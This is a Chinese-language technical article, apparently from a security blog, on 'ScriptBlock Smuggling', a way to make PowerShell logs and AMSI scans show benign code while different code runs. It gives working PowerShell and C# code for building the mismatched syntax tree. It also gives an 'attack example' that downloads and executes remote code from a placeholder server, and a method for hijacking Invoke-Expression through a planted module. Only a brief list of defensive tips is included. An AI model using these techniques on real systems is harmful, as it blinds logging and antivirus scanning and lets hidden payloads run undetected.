SCRIPTBLOCK Smuggling:伪装 PowerShell 安全日志并绕过 AMSI 防护,无需使用REFLECTION和PATCHING
字数 1247 2025-08-19 12:40:31

ScriptBlock Smuggling 技术详解:伪装 PowerShell 日志并绕过 AMSI 防护

技术背景

PowerShell 在安全领域的应用近年来有所下降,主要原因包括:

  1. PowerShell v5 版本引入了安全日志功能
  2. AMSI(反恶意软件扫描接口)的引入增强了防护能力
  3. 现有的绕过技术(如反射式绕过、内存修补)容易被检测

核心原理

AST(抽象语法树)基础

  • AST 是编译器根据源代码生成的树状结构
  • PowerShell 中的 ScriptBlock 在创建时会自动生成 AST
  • AST 包含多个属性,其中最重要的是"Extent"(文本范围)

关键发现

  1. 日志记录机制:PowerShell 仅使用 ScriptBlock 的 Extent 生成安全日志
  2. AMSI 扫描机制:PowerShell 仅发送 ScriptBlock 的 Extent 到 AMSI 进行扫描
  3. 执行与日志分离:AST 的文本表示(Extent)与实际执行代码可以不一致

技术实现

基本构造方法

# 创建两个不同的 ScriptBlock
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast  # 日志中显示的代码
$ExecutedAst = [ScriptBlock]::Create("Write-Output 'World'").Ast  # 实际执行的代码

# 构造新的 AST,混合两者的属性
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new(
    $SpoofedAst.Extent,  # 使用伪装代码的 Extent
    $null,
    $null,
    $null,
    $ExecutedAst.EndBlock.Copy(),  # 使用实际执行代码的 EndBlock
    $null
)

# 获取可执行的 ScriptBlock
$Sb = $Ast.GetScriptBlock()

实际攻击示例

$wc = New-Object System.Net.WebClient
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast
$ExecutedAst = [ScriptBlock]::Create($wc.DownloadData(<server>)).Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new(
    $SpoofedAst.Extent,
    $null,
    $null,
    $null,
    $ExecutedAst.EndBlock.Copy(),
    $null
)
$Sb = $Ast.GetScriptBlock()

C# 实现方式

// 创建伪装和实际执行的 ScriptBlock
var spoofedScript = "Write-Output 'Hello'";
var executedScript = "Write-Output 'amsicontext'";

// 构造 AST
var spoofedAst = ScriptBlock.Create(spoofedScript).Ast;
var executedAst = ScriptBlock.Create(executedScript).Ast;

var ast = new ScriptBlockAst(
    spoofedAst.Extent,
    null,
    null,
    null,
    executedAst.EndBlock.Copy(),
    null
);

var sb = ast.GetScriptBlock();

技术优势

  1. 无需关闭日志记录:与现有技术不同,不需要完全关闭日志功能
  2. 无需反射或内存修补:避免触发防病毒软件和 EDR 的检测
  3. 首次执行才记录:ScriptBlock 只在第一次执行时被记录
  4. 执行与日志分离:实际执行的代码不会被日志或 AMSI 观察到

高级应用

命令钩子(Command Hook)

  1. 创建自定义 Cmdlet 并命名为系统命令(如"Invoke-Expression")
  2. 将自定义模块放置在 PSModulePath 指定的路径:
    • C:\Users\<Username>\Documents\WindowsPowerShell\Modules
    • C:\Program Files\WindowsPowerShell\Modules(需要管理员权限)
  3. PowerShell 在名称冲突时会加载新版本模块

实现效果:

  • 用户执行"Invoke-Expression"时实际运行攻击者代码
  • 日志中显示的是原始命令而非实际执行的代码

防御建议

目前 Microsoft 尚未提供完全有效的防御措施,建议:

  1. 及时更新系统和 PowerShell 补丁
  2. 监控 PowerShell 日志中的异常行为
  3. 限制 PowerShell 执行权限
  4. 不要运行来源不明的脚本
  5. 定期进行安全扫描

技术限制

  1. 使用 ps.addcommand 方法时不会生成执行日志
  2. 使用 ps.addscript 方法会正常生成日志
  3. 系统模块路径修改需要管理员权限

总结

ScriptBlock Smuggling 技术通过操纵 PowerShell 的 AST 结构,实现了:

  • 绕过 AMSI 扫描
  • 伪造安全日志
  • 无需使用高风险技术(反射、内存修补)
  • 维持正常的日志记录功能以规避检测

该技术代表了新一代的 PowerShell 攻击方法,防御方需要重新评估现有的检测策略。

ScriptBlock Smuggling 技术详解:伪装 PowerShell 日志并绕过 AMSI 防护 技术背景 PowerShell 在安全领域的应用近年来有所下降,主要原因包括: PowerShell v5 版本引入了安全日志功能 AMSI(反恶意软件扫描接口)的引入增强了防护能力 现有的绕过技术(如反射式绕过、内存修补)容易被检测 核心原理 AST(抽象语法树)基础 AST 是编译器根据源代码生成的树状结构 PowerShell 中的 ScriptBlock 在创建时会自动生成 AST AST 包含多个属性,其中最重要的是"Extent"(文本范围) 关键发现 日志记录机制 :PowerShell 仅使用 ScriptBlock 的 Extent 生成安全日志 AMSI 扫描机制 :PowerShell 仅发送 ScriptBlock 的 Extent 到 AMSI 进行扫描 执行与日志分离 :AST 的文本表示(Extent)与实际执行代码可以不一致 技术实现 基本构造方法 实际攻击示例 C# 实现方式 技术优势 无需关闭日志记录 :与现有技术不同,不需要完全关闭日志功能 无需反射或内存修补 :避免触发防病毒软件和 EDR 的检测 首次执行才记录 :ScriptBlock 只在第一次执行时被记录 执行与日志分离 :实际执行的代码不会被日志或 AMSI 观察到 高级应用 命令钩子(Command Hook) 创建自定义 Cmdlet 并命名为系统命令(如"Invoke-Expression") 将自定义模块放置在 PSModulePath 指定的路径: C:\Users\<Username>\Documents\WindowsPowerShell\Modules C:\Program Files\WindowsPowerShell\Modules (需要管理员权限) PowerShell 在名称冲突时会加载新版本模块 实现效果: 用户执行"Invoke-Expression"时实际运行攻击者代码 日志中显示的是原始命令而非实际执行的代码 防御建议 目前 Microsoft 尚未提供完全有效的防御措施,建议: 及时更新系统和 PowerShell 补丁 监控 PowerShell 日志中的异常行为 限制 PowerShell 执行权限 不要运行来源不明的脚本 定期进行安全扫描 技术限制 使用 ps.addcommand 方法时不会生成执行日志 使用 ps.addscript 方法会正常生成日志 系统模块路径修改需要管理员权限 总结 ScriptBlock Smuggling 技术通过操纵 PowerShell 的 AST 结构,实现了: 绕过 AMSI 扫描 伪造安全日志 无需使用高风险技术(反射、内存修补) 维持正常的日志记录功能以规避检测 该技术代表了新一代的 PowerShell 攻击方法,防御方需要重新评估现有的检测策略。